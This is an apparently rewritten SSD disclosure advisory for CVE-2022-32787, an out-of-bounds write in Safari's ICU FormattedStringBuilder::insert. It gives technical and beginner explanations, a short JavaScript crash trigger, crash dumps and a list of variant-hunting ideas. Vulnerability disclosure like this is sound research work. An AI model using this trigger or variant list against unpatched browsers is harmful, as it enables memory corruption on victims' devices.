SSD Advisory – Apple Safari ICU Out-Of-Bounds Write
An out-of-bounds write vulnerability exists in Apple Safari's ICU library when handling the Intl.ListFormat().format function. An attacker who can run arbitrary JavaScript could trigger the bug to write to an arbitrary address with arbitrary data.
Published on ssd-disclosure.com
An Out-Of-Bounds Write vulnerability exists in Apple Safari ICU components libicucore.A.dylib [icu::FormattedStringBuilder::insert]. This library is called when Safari handles the Intl.ListFormat().format function.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Apple Safari ships a copy of the International Components for Unicode (ICU) library as libicucore.A.dylib. Among the ICU components it exposes is icu::FormattedStringBuilder, a helper that builds up a string together with a parallel array of field metadata, and icu::ListFormatter, which turns an array of strings into a single human-readable list.
Safari reaches this code from JavaScript through the Intl.ListFormat API. When a page calls Intl.ListFormat().format(...), JavaScriptCore's JSC::IntlListFormat::format calls into ICU's ulistfmt_format, which calls icu::ListFormatter::format, which eventually calls icu::FormattedStringBuilder::insert. The advisory describes an out-of-bounds write in that insert path, tracked as CVE-2022-32787.
Setup
The advisory does not describe a test harness, account, role or tooling. The only precondition it states is the attacker's position: the bug is reachable by an attacker who is able to run arbitrary JavaScript in Safari. The proof of concept is a plain HTML script block, so the trigger is a web page.
The affected versions listed are:
| Product | Affected |
|---|---|
| iOS | 15.6 or iPadOS 15.6 before |
| macOS Monterey | 12.5 before |
| macOS Big Sur | 11.6.8 before |
| macOS Catalina | 2022-005 before |
| watchOS | 8.7 before |
| tvOS | 15.6 before |
Finding it
The researcher, Dohyun Lee from SSD Labs (Korea), reported the issue to the SSD Secure Disclosure program. The advisory frames the problem as a vulnerability in the way Safari handles incoming data sent to the ICU component, allowing manipulation of a pointer address so that an attacker running arbitrary JavaScript obtains an out-of-bounds write primitive.
The relevant function is FormattedStringBuilder::insert. Its job is to insert a slice of a UnicodeString at a given index, optionally wrapping it in bidirectional isolate characters, and to keep the character buffer and the field buffer in step. The advisory points at two lines of the implementation:
int32_t
FormattedStringBuilder::insert(int32_t index, const UnicodeString &unistr, int32_t start, int32_t end,
Field field, bool addBidiIsolates, UErrorCode &status) {
int32_t count = end - start;
int32_t realCount = count + (addBidiIsolates ? 2 : 0);
int32_t position = prepareForInsert(index, realCount, status); // [1]
if (U_FAILURE(status)) {
return realCount;
}
if (addBidiIsolates) {
getCharPtr()[position] = u'\u2068'; // U+2068 FIRST STRONG ISOLATE
getFieldPtr()[position] = field;
++position;
}
for (int32_t i = 0; i < count; i++) {
getCharPtr()[position + i] = unistr.charAt(start + i); // [2]
getFieldPtr()[position + i] = field;
}
if (addBidiIsolates) {
getCharPtr()[position + count] = u'\u2069'; // U+2069 POP DIRECTIONAL ISOLATE
getFieldPtr()[position + count] = field;
}
return realCount;
}
The two annotated points are formatted_string_builder.cpp#L184 for the prepareForInsert call and formatted_string_builder.cpp#L194 for the write inside the loop, both in the apple-oss-distributions/ICU repository.
The reasoning is that position is the return value of prepareForInsert, and in the failing case that value is very large. The writes at [2] then use that value as an offset into the character and field buffers, so the value is written to a location outside the intended allocation. The advisory notes that the crash occurs while moving memory.
Exploitation
Step 1: build a very long string
The proof of concept is a single script block:
<script>
var s1sd = "a".repeat(0xFFFFFFE);
new Intl.ListFormat().format(Array(16).fill(ssd)).length;
</script>
The first line creates a string of 0xFFFFFFE copies of the character a. The second line builds an array of 16 elements, all filled with that string, and passes it to Intl.ListFormat().format, reading the length of the result. That call is what drives JavaScriptCore into ulistfmt_format, then icu::ListFormatter::format, then FormattedStringBuilder::insert, where the oversized input produces the very large position value.
As written, the snippet references ssd in the fill call while the variable declared on the previous line is named s1sd; the advisory does not comment on this.
Step 2: observe the crash
With the manipulated return value, the write faults. The advisory shows the resulting crash report:
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x00007fac10100000
Exception Codes: 0x0000000000000001, 0x00007fac10100000
Exception Note: EXC_CORPSE_NOTIFY
Termination Reason: Namespace SIGNAL, Code 11 Segmentation fault: 11
Terminating Process: exc handler [97775]
Thread 0 crashed with X86 Thread State (64-bit):
rax: 0x0000000077ffffff rbx: 0x000000077a000020 rcx: 0x00007fab0ff00000 rdx: 0x0000000080100000
rdi: 0x0000000008100001 rsi: 0x0000000008100001 rbp: 0x00007ff7b726ee80 rsp: 0x00007ff7b726ee40
r8: 0x00007fad30c044d0 r9: 0x0000000077ffffff r10: 0x00007fad320197d2 r11: 0x0000000007effffd
r12: 0x00007fad30c04478 r13: 0x00007fad320197c8 r14: 0x0000000000000061 r15: 0x0000000000000031
rip: 0x00007ff815c6a949 rfl: 0x0000000000010202 cr2: 0x00007fac10100000
Logical CPU: 10
Error Code: 0x00000006 (no mapping for user data write)
Trap Number: 14
Thread 0 instruction stream:
58 44 88 3c 0a ff c0 4d-8d 44 24 58 83 7d d0 00 XD.<...M.D$X.}..
7e 7c 4d 8d 55 0a 4c 63-c8 48 63 fb 44 8b 5d d0 ~|M.U.Lc.Hc.D.].
31 f6 4c 89 ca 41 0f b7-4d 08 66 85 c9 79 06 41 1.L..A..M.f..y.A
8b 5d 0c eb 05 89 cb c1-eb 05 66 41 be ff ff 39 .]........fA...9
fb 76 11 4c 89 d3 f6 c1-02 75 04 49 8b 5d 18 44 .v.L.....u.I.].D
0f b7 34 7b 41 80 3c 24-00 74 14 49 8b 4c 24 08 ..4{A.<$.t.I.L$.
[66]44 89 34 51 49 8b 5c-24 58 48 89 d1 eb 0d 4a fD.4QI.\$XH....J <==
8d 0c 0e 66 45 89 74 54-08 4c 89 c3 44 88 3c 0b ...fE.tT.L..D.<.
48 ff c6 48 ff c2 48 ff-c7 49 ff cb 75 97 80 7d H..H..H..I..u.}
10 00 74 2f 41 80 3c 24-00 74 17 49 8b 4c 24 08 ..t/A.<$.t.I.L$.
03 45 d0 48 98 66 c7 04-41 69 20 4d 8b 44 24 58 .E.H.f..Ai M.D$X
eb 0d 03 45 d0 48 98 66-41 c7 44 44 08 69 20 45 ...E.H.fA.DD.i E
The fault is a segmentation fault on a write, with Error Code: 0x00000006 (no mapping for user data write). The instruction stream marks the faulting instruction, which stores a 16-bit value through a computed address.
Step 3: confirm the write lands outside the allocation
The advisory maps the faulting address against the process's VM regions:
VM Regions Near 0x7fa13e1c1000:
MALLOC_LARGE 7fa1361c1000-7fa13e1c1000 [128.0M] rw-/rwx SM=PRV
-->
MALLOC_TINY 7fa168c00000-7fa168d00000 [ 1024K] rw-/rwx SM=COW
From this the advisory concludes that the out-of-bounds write occurred in the heap area in the relevant region.
Step 4: read the call stack
The crash stack shows the full path from the HTML parser to the faulty store:
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0 libicucore.A.dylib 0x7ff815c6a949 icu::FormattedStringBuilder::insert(int, icu::UnicodeString const&, int, int, icu::FormattedStringBuilder::Field, bool, UErrorCode&) + 213
1 libicucore.A.dylib 0x7ff815c6a85a icu::FormattedStringBuilder::insert(int, icu::UnicodeString const&, icu::FormattedStringBuilder::Field, bool, UErrorCode&) + 108
2 libicucore.A.dylib 0x7ff815c74319 0x7ff815b32000 + 1319705
3 libicucore.A.dylib 0x7ff815c73efb icu::ListFormatter::formatStringsToValue(icu::UnicodeString const*, int, UErrorCode&) const + 653
4 libicucore.A.dylib 0x7ff815c73b8d icu::ListFormatter::format(icu::UnicodeString const*, int, icu::UnicodeString&, int, int&, UErrorCode&) const + 85
5 libicucore.A.dylib 0x7ff815c73b2e icu::ListFormatter::format(icu::UnicodeString const*, int, icu::UnicodeString&, UErrorCode&) const + 38
6 libicucore.A.dylib 0x7ff815d30990 ulistfmt_format + 394
7 JavaScriptCore 0x7ff82c2b476e JSC::IntlListFormat::format(JSC::JSGlobalObject*, JSC::JSValue) const + 174
8 ??? 0x425da5a041d8 ???
9 JavaScriptCore 0x7ff82c2e4121 llint_entry + 119034
10 JavaScriptCore 0x7ff82c2c6e26 vmEntryToJavaScript + 216
11 JavaScriptCore 0x7ff82c9c53fe JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::JSGlobalObject*, JSC::JSObject*) + 15022
12 JavaScriptCore 0x7ff82cc4ea95 JSC::evaluate(JSC::JSGlobalObject*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) + 245
13 WebCore 0x7ff915f650f4 WebCore::JSExecState::profiledEvaluate(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) + 84
14 WebCore 0x7ff915f64dcc WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&) + 188
15 WebCore 0x7ff9162f8ea7 WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) + 711
16 WebCore 0x7ff914e4ff01 WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) + 6929
17 WebCore 0x7ff9165b31e2 WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) + 386
18 WebCore 0x7ff914e06e90 WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) + 576
19 WebCore 0x7ff9165a8f84 WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl, WTF::RawPtrTraits<WTF::StringImpl>, WTF::DefaultRefDerefTraits<WTF::StringImpl> >&&, WebCore::HTMLDocumentParser::SynchronousMode) + 1732
20 WebCore 0x7ff916246ddc WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) + 204
21 WebCore 0x7ff914e0654d WebCore::DocumentWriter::end() + 77
22 WebCore 0x7ff9167517db WebCore::DocumentLoader::finishedLoading() + 667
23 WebCore 0x7ff9167ed32f WebCore::CachedResource::checkNotify(WebCore::NetworkLoadMetrics const&) + 95
24 WebCore 0x7ff9167ebcf9 WebCore::CachedRawResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&) + 409
25 WebCore 0x7ff9167bd817 WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) + 999
26 WebKit 0x7ff9180e9783 WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) + 207
27 WebKit 0x7ff9182621b5 WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) + 333
28 WebKit 0x7ff917d5d28e IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) + 604
29 WebKit 0x7ff917d5f87b WTF::Detail::CallableWrapper<IPC::Connection::enqueueIncomingMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >)::$_13, void>::call() + 197
30 JavaScriptCore 0x7ff82d13adcf WTF::RunLoop::performWork() + 431
31 JavaScriptCore 0x7ff82d13b8ba WTF::RunLoop::performWork(void*) + 26
32 CoreFoundation 0x7ff813863aeb [redacted] + 17
33 CoreFoundation 0x7ff813863a53 __CFRunLoopDoSource0 + 180
34 CoreFoundation 0x7ff8138637cd __CFRunLoopDoSources0 + 242
35 CoreFoundation 0x7ff8138621e8 __CFRunLoopRun + 892
36 CoreFoundation 0x7ff8138617ac CFRunLoopRunSpecific + 562
37 Foundation 0x7ff8146b5d9a -[NSRunLoop(NSRunLoop) runMode:beforeDate:] + 216
38 Foundation 0x7ff8147408d7 -[NSRunLoop(NSRunLoop) run] + 76
39 libxpc.dylib 0x7ff8134e1816 _xpc_objc_main + 773
40 libxpc.dylib 0x7ff8134e1239 xpc_main + 99
41 WebKit 0x7ff917bed759 WebKit::XPCServiceMain(int, char const**) + 85
42 dyld 0x11811e51e start + 462
The stack confirms the path from the page's script element through JavaScriptCore's IntlListFormat::format and ulistfmt_format into ListFormatter and finally FormattedStringBuilder::insert, which is frame 0.
Root cause
The bug is in FormattedStringBuilder::insert. The function computes realCount from the requested slice and then asks prepareForInsert where to place the data, storing the answer in position. The advisory states that in the failing case this return value is very large, and that the subsequent writes at [2] use it as an offset, so the character and field values are written outside the buffer. The advisory describes the result as the ability to write arbitrary data to an arbitrary address.
The advisory does not go further into why prepareForInsert returns that value, and it does not discuss which checks or mitigations were present. The crash shows the write reaching an unmapped page, which is what turns the corruption into a visible fault rather than a silent overwrite.
Impact
An attacker who can run arbitrary JavaScript in Safari can trigger the out-of-bounds write through Intl.ListFormat().format. The advisory states that the vulnerability can be used to write arbitrary data to an arbitrary address, which is the kind of primitive that can be built into further exploitation. The advisory does not describe a full exploit chain, does not state a severity score, and does not say what an attacker achieves beyond the write primitive. The affected products and versions are those listed in the table above.
Fix
Apple addressed the issue in iOS 15.6 and iPadOS 15.6, with the security content published at https://support.apple.com/HT213346. The advisory lists the affected versions as iOS 15.6 / iPadOS 15.6, macOS Monterey 12.5, Big Sur 11.6.8, Catalina Security Update 2022-005, watchOS 8.7 and tvOS 15.6, and says iOS 15.6 and iPadOS 15.6 address the issue. The advisory does not describe the code change itself.
Variants to test
- Other
Intlentry points that build strings through ICU formatters, such as list, relative time and date-time formatting. A positive result is a crash withFormattedStringBuilder::insertin frame 0 and a faulting address outside the mapped heap region. - Varying the element count and the length of the repeated string around the values in the proof of concept. A positive result is the same
EXC_BAD_ACCESSwrite fault at a different address, showing the offset is controlled by the input. - The same
Intl.ListFormat().formatcall on other WebKit-based browsers and embedded web views on the affected OS versions. A positive result is the same call stack throughulistfmt_formatandListFormatter. - Other platforms that embed ICU and expose
ListFormatterto untrusted input. A positive result is an out-of-bounds write or crash inFormattedStringBuilder::insertwhen formatting a very large list.
What happened, in plain words
Apple's Safari browser contains a piece of software called ICU, which helps the browser handle text in many languages. One of the jobs ICU does is turn a list of separate strings into one nicely formatted sentence, for example turning ["apples", "pears", "plums"] into "apples, pears and plums". Safari lets web pages ask for this through a JavaScript feature called Intl.ListFormat.
A security researcher, Dohyun Lee from SSD Labs in Korea, found that if a web page sends a very large amount of text into this list-formatting feature, Safari can be tricked into writing data to a place in memory where it should not write. This kind of mistake is called an out-of-bounds write. The problem was given the identifier CVE-2022-32787, and Apple addressed it in iOS 15.6 and iPadOS 15.6.
The report you are reading is the public advisory from the SSD Secure Disclosure programme. It explains where the bug lives, shows the vulnerable code, shows a crash that proves the bug, and walks through the crash report. Below, each of those steps is explained from scratch.
Context
What Safari, ICU and JavaScript are
Safari is Apple's web browser. When you open a web page, Safari downloads the page's HTML (the structure of the page) and runs any JavaScript it contains. JavaScript is the programming language that makes web pages interactive: it can react to clicks, fetch data, and format text.
ICU stands for International Components for Unicode. It is a large, widely used library of code for handling text in the world's languages: sorting, formatting dates, formatting numbers, and so on. Apple ships its own copy of ICU inside its operating systems as a file called libicucore.A.dylib. A .dylib is a dynamic library: a bundle of compiled code that many programs can share, rather than each program carrying its own copy.
Two parts of ICU matter here:
icu::FormattedStringBuilderis a helper that builds up a piece of text. It keeps two things side by side: the characters themselves, and a parallel array of metadata describing what each character is (for example, whether it belongs to a number or to plain text). Keeping the two in step is essential; if one gets longer than the other, the bookkeeping breaks.icu::ListFormatteris the part that turns an array of strings into a single human-readable list, inserting the commas and the word "and" (or the equivalent in other languages).
How a web page reaches this code
Safari exposes ICU's list formatting to web pages through a JavaScript API. An API (Application Programming Interface) is simply a defined way for one piece of software to ask another piece of software to do something. Here, the API is Intl.ListFormat, and the method format is the request: "please format this array as a list".
The chain of calls, from the page down to the vulnerable code, is:
- The page calls
Intl.ListFormat().format(...). - Safari's JavaScript engine, JavaScriptCore, handles it in
JSC::IntlListFormat::format. - That calls ICU's C function
ulistfmt_format. - That calls
icu::ListFormatter::format. - That eventually calls
icu::FormattedStringBuilder::insert.
The advisory reports an out-of-bounds write in that last function, tracked as CVE-2022-32787. A CVE (Common Vulnerabilities and Exposures) identifier is a public catalogue number that lets everyone refer to the same bug unambiguously.
What an out-of-bounds write is
Programs store data in memory, and they reserve chunks of memory for specific purposes. Writing inside your reserved chunk is fine; writing outside it is an out-of-bounds write. A simple comparison: imagine a row of numbered lockers assigned to you, say lockers 1 to 10. If a bug lets you put a parcel into locker 25, you are now placing your data in a locker that belongs to someone else. Whatever that someone else stored there gets overwritten, and the program's behaviour becomes unpredictable. In security terms, an out-of-bounds write is a memory corruption bug, and memory corruption is often the first step towards running an attacker's own code.
Setup
What the attacker needs
The advisory does not describe a test harness, an account, a role or any tooling. The only precondition it states is the attacker's position: the bug is reachable by an attacker who is able to run arbitrary JavaScript in Safari. "Arbitrary JavaScript" means the attacker can get their own script to execute in the browser, which in practice can happen simply by getting a victim to open a malicious web page.
The proof of concept is a plain HTML script block, so the trigger is a web page. There is no login, no special network position and no extra software involved.
Which versions were affected
The advisory lists the following affected versions:
| Product | Affected |
|---|---|
| iOS | 15.6 or iPadOS 15.6 before |
| macOS Monterey | 12.5 before |
| macOS Big Sur | 11.6.8 before |
| macOS Catalina | 2022-005 before |
| watchOS | 8.7 before |
| tvOS | 15.6 before |
In other words, the listed Apple platforms were affected before the named versions. "Before" here means any version older than the one named.
Finding it
The researcher, Dohyun Lee from SSD Labs (Korea), reported the issue to the SSD Secure Disclosure programme. The advisory frames the problem as a vulnerability in the way Safari handles incoming data sent to the ICU component, allowing manipulation of a pointer address so that an attacker running arbitrary JavaScript obtains an out-of-bounds write primitive.
Two terms in that sentence deserve a plain explanation:
- A pointer is a number that records where something lives in memory, much like a house address. If an attacker can change the address, they can make the program read or write somewhere else.
- A primitive, in security writing, is a small, reliable capability that a larger attack can be built from. An "out-of-bounds write primitive" means the attacker can reliably cause a write outside the intended memory area; what they do with that comes later.
The relevant function is FormattedStringBuilder::insert. Its job is to insert a slice of a UnicodeString (ICU's text type) at a given index, optionally wrapping it in bidirectional isolate characters, and to keep the character buffer and the field buffer in step. Bidirectional isolate characters are invisible control characters that tell the text renderer "treat this part separately when deciding left-to-right versus right-to-left order". The advisory points at two lines of the implementation:
int32_t
FormattedStringBuilder::insert(int32_t index, const UnicodeString &unistr, int32_t start, int32_t end,
Field field, bool addBidiIsolates, UErrorCode &status) {
int32_t count = end - start;
int32_t realCount = count + (addBidiIsolates ? 2 : 0);
int32_t position = prepareForInsert(index, realCount, status); // [1]
if (U_FAILURE(status)) {
return realCount;
}
if (addBidiIsolates) {
getCharPtr()[position] = u'\u2068'; // U+2068 FIRST STRONG ISOLATE
getFieldPtr()[position] = field;
++position;
}
for (int32_t i = 0; i < count; i++) {
getCharPtr()[position + i] = unistr.charAt(start + i); // [2]
getFieldPtr()[position + i] = field;
}
if (addBidiIsolates) {
getCharPtr()[position + count] = u'\u2069'; // U+2069 POP DIRECTIONAL ISOLATE
getFieldPtr()[position + count] = field;
}
return realCount;
}
Line by line, in plain words:
int32_tis a whole-number type. The function returns a number.- The parameters are:
index(where in the existing text to insert),unistr(the text to insert),startandend(which slice of that text to take),field(the metadata label for the inserted characters),addBidiIsolates(whether to wrap the slice in the invisible isolate characters), andstatus(an error code the function can set). int32_t count = end - start;works out how many characters are being inserted.int32_t realCount = count + (addBidiIsolates ? 2 : 0);adds two if the isolate characters are wanted, because two extra characters will be written.int32_t position = prepareForInsert(index, realCount, status); // [1]asks a helper function where the new data should go, and stores the answer inposition. This is annotated point [1].if (U_FAILURE(status)) { return realCount; }checks whether the helper reported an error, and bails out if so.- The first
if (addBidiIsolates)block writes the opening isolate character atpositionin the character buffer, writes the field label at the same place in the field buffer, then movespositionforward by one. - The
forloop copies each character of the slice into the character buffer atposition + i, and the matching field label into the field buffer. This is annotated point [2]. - The second
if (addBidiIsolates)block writes the closing isolate character and its field label just after the copied characters. return realCount;reports how many characters were inserted.
The two annotated points are formatted_string_builder.cpp#L184 for the prepareForInsert call and formatted_string_builder.cpp#L194 for the write inside the loop, both in the apple-oss-distributions/ICU repository.
The reasoning is that position is the return value of prepareForInsert, and in the failing case that value is very large. The writes at [2] then use that value as an offset into the character and field buffers, so the value is written to a location outside the intended allocation. An allocation is a block of memory the program has reserved; an offset is a distance added to a starting point, like "12 lockers past number 1". If the offset is enormous, the destination is far outside the reserved block. The advisory notes that the crash occurs while moving memory.
Exploitation
Step 1: build a very long string
The proof of concept is a single script block:
<script>
var s1sd = "a".repeat(0xFFFFFFE);
new Intl.ListFormat().format(Array(16).fill(ssd)).length;
</script>
Line by line:
<script>and</script>mark the start and end of JavaScript inside an HTML page. The browser runs whatever is between them when it loads the page.var s1sd = "a".repeat(0xFFFFFFE);creates a variable nameds1sdand fills it with the characterarepeated many times.0xFFFFFFEis a number written in hexadecimal (base 16); it is a very large count, which is the whole point: the bug needs an oversized input to push the internal position value out of range.new Intl.ListFormat().format(Array(16).fill(ssd)).length;builds an array of 16 elements, fills every element with the string, and passes the array toIntl.ListFormat().format. The.lengthat the end reads the length of the formatted result. That call is what drives JavaScriptCore intoulistfmt_format, thenicu::ListFormatter::format, thenFormattedStringBuilder::insert, where the oversized input produces the very largepositionvalue.
As written, the snippet references ssd in the fill call while the variable declared on the previous line is named s1sd; the advisory does not comment on this.
Why this step matters: the researcher is not attacking the browser's network code or its password store. They are using a normal, documented feature (formatting a list) with an abnormal input (an extremely long string repeated many times). The size is what makes the internal arithmetic go wrong.
Step 2: observe the crash
With the manipulated return value, the write faults. A fault is the operating system stopping the program because it tried to do something illegal with memory. The advisory shows the resulting crash report:
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x00007fac10100000
Exception Codes: 0x0000000000000001, 0x00007fac10100000
Exception Note: EXC_CORPSE_NOTIFY
Termination Reason: Namespace SIGNAL, Code 11 Segmentation fault: 11
Terminating Process: exc handler [97775]
Thread 0 crashed with X86 Thread State (64-bit):
rax: 0x0000000077ffffff rbx: 0x000000077a000020 rcx: 0x00007fab0ff00000 rdx: 0x0000000080100000
rdi: 0x0000000008100001 rsi: 0x0000000008100001 rbp: 0x00007ff7b726ee80 rsp: 0x00007ff7b726ee40
r8: 0x00007fad30c044d0 r9: 0x0000000077ffffff r10: 0x00007fad320197d2 r11: 0x0000000007effffd
r12: 0x00007fad30c04478 r13: 0x00007fad320197c8 r14: 0x0000000000000061 r15: 0x0000000000000031
rip: 0x00007ff815c6a949 rfl: 0x0000000000010202 cr2: 0x00007fac10100000
Logical CPU: 10
Error Code: 0x00000006 (no mapping for user data write)
Trap Number: 14
Thread 0 instruction stream:
58 44 88 3c 0a ff c0 4d-8d 44 24 58 83 7d d0 00 XD.<...M.D$X.}..
7e 7c 4d 8d 55 0a 4c 63-c8 48 63 fb 44 8b 5d d0 ~|M.U.Lc.Hc.D.].
31 f6 4c 89 ca 41 0f b7-4d 08 66 85 c9 79 06 41 1.L..A..M.f..y.A
8b 5d 0c eb 05 89 cb c1-eb 05 66 41 be ff ff 39 .]........fA...9
fb 76 11 4c 89 d3 f6 c1-02 75 04 49 8b 5d 18 44 .v.L.....u.I.].D
0f b7 34 7b 41 80 3c 24-00 74 14 49 8b 4c 24 08 ..4{A.<$.t.I.L$.
[66]44 89 34 51 49 8b 5c-24 58 48 89 d1 eb 0d 4a fD.4QI.\$XH....J <==
8d 0c 0e 66 45 89 74 54-08 4c 89 c3 44 88 3c 0b ...fE.tT.L..D.<.
48 ff c6 48 ff c2 48 ff-c7 49 ff cb 75 97 80 7d H..H..H..I..u.}
10 00 74 2f 41 80 3c 24-00 74 17 49 8b 4c 24 08 ..t/A.<$.t.I.L$.
03 45 d0 48 98 66 c7 04-41 69 20 4d 8b 44 24 58 .E.H.f..Ai M.D$X
eb 0d 03 45 d0 48 98 66-41 c7 44 44 08 69 20 45 ...E.H.fA.DD.i E
What the pieces mean:
EXC_BAD_ACCESS (SIGSEGV)is the operating system saying the program touched memory it is not allowed to touch. SIGSEGV is short for segmentation fault, a classic crash signal.KERN_INVALID_ADDRESS at 0x00007fac10100000names the address the program tried to use. Addresses are written in hexadecimal, the same notation as0xFFFFFFEabove.Terminating Process: exc handler [97775]says which process was stopped.- The
Thread 0 crashed with X86 Thread State (64-bit)block lists the CPU registers. Registers are tiny, extremely fast storage slots inside the processor; when a program crashes, the operating system saves their contents so engineers can see what the program was doing.ripis the instruction pointer, the address of the instruction being executed;cr2holds the address that caused the fault. Error Code: 0x00000006 (no mapping for user data write)says the fault happened on a write, and that the target address had no memory mapped to it. "Mapped" means the operating system has assigned that address to some real storage; an unmapped address is a hole.- The
Thread 0 instruction streamis a dump of the machine code around the crash. The[66]and<==mark the faulting instruction, which stores a 16-bit value through a computed address. A 16-bit value is a small number, the size of one character in this context.
Why this step matters: a crash is evidence. If the page simply produced a wrong string, nobody could tell whether memory was corrupted. A write to an unmapped address proves the program tried to write where it should not.
Step 3: confirm the write lands outside the allocation
The advisory maps the faulting address against the process's VM regions. VM stands for virtual memory, the operating system's system for giving each program the illusion of a large, private address space. A VM region is one contiguous block of that space with its own permissions, such as readable and writable.
VM Regions Near 0x7fa13e1c1000:
MALLOC_LARGE 7fa1361c1000-7fa13e1c1000 [128.0M] rw-/rwx SM=PRV
-->
MALLOC_TINY 7fa168c00000-7fa168d00000 [ 1024K] rw-/rwx SM=COW
Reading it:
- Each line shows a region's name, its start and end address, its size in brackets, and its permissions.
rw-means readable and writable but not executable;rwxadds executable. MALLOC_LARGEandMALLOC_TINYare names used by the memory allocator, the part of the system that hands out blocks of memory to programs. "Large" and "tiny" refer to the size classes of the blocks.- The
-->arrow marks where the faulting address sits relative to the listed regions.
From this the advisory concludes that the out-of-bounds write occurred in the heap area in the relevant region. The heap is the general-purpose pool of memory a program uses for data it creates while running, as opposed to the stack, which holds short-lived function bookkeeping.
Step 4: read the call stack
The crash stack shows the full path from the HTML parser to the faulty store. A call stack is the list of function calls currently in progress, newest at the top: frame 0 is where the crash happened, frame 1 is the function that called it, and so on down to the program's entry point.
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0 libicucore.A.dylib 0x7ff815c6a949 icu::FormattedStringBuilder::insert(int, icu::UnicodeString const&, int, int, icu::FormattedStringBuilder::Field, bool, UErrorCode&) + 213
1 libicucore.A.dylib 0x7ff815c6a85a icu::FormattedStringBuilder::insert(int, icu::UnicodeString const&, icu::FormattedStringBuilder::Field, bool, UErrorCode&) + 108
2 libicucore.A.dylib 0x7ff815c74319 0x7ff815b32000 + 1319705
3 libicucore.A.dylib 0x7ff815c73efb icu::ListFormatter::formatStringsToValue(icu::UnicodeString const*, int, UErrorCode&) const + 653
4 libicucore.A.dylib 0x7ff815c73b8d icu::ListFormatter::format(icu::UnicodeString const*, int, icu::UnicodeString&, int, int&, UErrorCode&) const + 85
5 libicucore.A.dylib 0x7ff815c73b2e icu::ListFormatter::format(icu::UnicodeString const*, int, icu::UnicodeString&, UErrorCode&) const + 38
6 libicucore.A.dylib 0x7ff815d30990 ulistfmt_format + 394
7 JavaScriptCore 0x7ff82c2b476e JSC::IntlListFormat::format(JSC::JSGlobalObject*, JSC::JSValue) const + 174
8 ??? 0x425da5a041d8 ???
9 JavaScriptCore 0x7ff82c2e4121 llint_entry + 119034
10 JavaScriptCore 0x7ff82c2c6e26 vmEntryToJavaScript + 216
11 JavaScriptCore 0x7ff82c9c53fe JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::JSGlobalObject*, JSC::JSObject*) + 15022
12 JavaScriptCore 0x7ff82cc4ea95 JSC::evaluate(JSC::JSGlobalObject*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) + 245
13 WebCore 0x7ff915f650f4 WebCore::JSExecState::profiledEvaluate(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) + 84
14 WebCore 0x7ff915f64dcc WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&) + 188
15 WebCore 0x7ff9162f8ea7 WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) + 711
16 WebCore 0x7ff914e4ff01 WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) + 6929
17 WebCore 0x7ff9165b31e2 WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) + 386
18 WebCore 0x7ff914e06e90 WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) + 576
19 WebCore 0x7ff9165a8f84 WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl, WTF::RawPtrTraits<WTF::StringImpl>, WTF::DefaultRefDerefTraits<WTF::StringImpl> >&&, WebCore::HTMLDocumentParser::SynchronousMode) + 1732
20 WebCore 0x7ff916246ddc WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) + 204
21 WebCore 0x7ff914e0654d WebCore::DocumentWriter::end() + 77
22 WebCore 0x7ff9167517db WebCore::DocumentLoader::finishedLoading() + 667
23 WebCore 0x7ff9167ed32f WebCore::CachedResource::checkNotify(WebCore::NetworkLoadMetrics const&) + 95
24 WebCore 0x7ff9167ebcf9 WebCore::CachedRawResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&) + 409
25 WebCore 0x7ff9167bd817 WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) + 999
26 WebKit 0x7ff9180e9783 WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) + 207
27 WebKit 0x7ff9182621b5 WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) + 333
28 WebKit 0x7ff917d5d28e IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) + 604
